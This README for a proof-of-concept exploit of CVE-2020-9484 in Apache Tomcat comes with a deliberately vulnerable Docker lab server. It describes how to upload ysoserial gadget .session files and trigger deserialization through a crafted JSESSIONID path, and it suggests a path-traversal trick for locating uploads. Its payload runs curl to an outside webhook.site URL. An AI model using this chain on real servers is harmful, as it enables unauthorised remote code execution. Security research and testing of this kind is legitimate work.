This repository contains a proof of concept exploit for CVE-2020-9484, along with an example web server that is vulnerable to this exploit.
Affected tomcat versions are:
- Apache Tomcat 10.x < 10.0.0-M5
- Apache Tomcat 9.x < 9.0.35
- Apache Tomcat 8.x < 8.5.55
- Apache Tomcat 7.x < 7.0.104
- The
PersistentManageris enabled and it is using aFileStore. - The attacker is able to upload a file with arbitrary content, has control over the file name extension (particularly
.sessionfiles), and knows the location where it is uploaded. - There are gadgets in the classpath (e.g.
clojureorcommons-collections) that can be used for a Java deserialization attack.
The example service is a web server with two pages, /index.jsp (or simply /) and /list.jsp. It allows the user to upload and download files (specific to the current session), effectively acting as file storage.
- It supports POST requests to
/uploadsupporting file upload, and allows the user to choose the file name. This makes it possible to upload files with the extension.session. It is also known that the server stores the files in the directory/var/tmp/uploads. - It has
PersistentManagerenabled using aFileStore. (seecontext.xml) - It has
clojure:1.8.0in the classpath thus facilitating deserialization attack. (seepom.xml)
To set up the example vulnerable service:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
The service should now be up and running at http://localhost:8085/POC_CVE-2020-9484/.
Now adjust the configuration variables at the beginning of exploit.py. The PAYLOAD, here a shell script, can be any file that can be executed by the server.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usageNow run exploit.py. It performs the following actions:
- Downloads yoserial.
- Uses yoserial to generate malicious serialized objects (as
.sessionfiles), which will eventually get deserialized on the server:- chmodPayload.session to give executable permissions to the
PAYLOADfile uploaded to the server. - executePayload.session to execute the
PAYLOADfile on the server.
- chmodPayload.session to give executable permissions to the
- Uploads the
PAYLOADas a file to the server. - Uploads the
.sessionfiles generated above to the server. - Triggers a request to the server with the
JSESSIONIDcookie being the path of the previously uploaded.sesssionfiles relative to the server's session storage, thus triggering their deserialization on the server and subsequent execution of the payload.
- Many servers store user-uploaded files in a path of the form
/path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In such a case, using aJSESSIONIDof the form../../../../tmp(instead of an arbitrary value like"1337"*8used inexploit.pyabove) with the file upload POST request can potentially be helpful in determining where the uploaded file is stored on the server.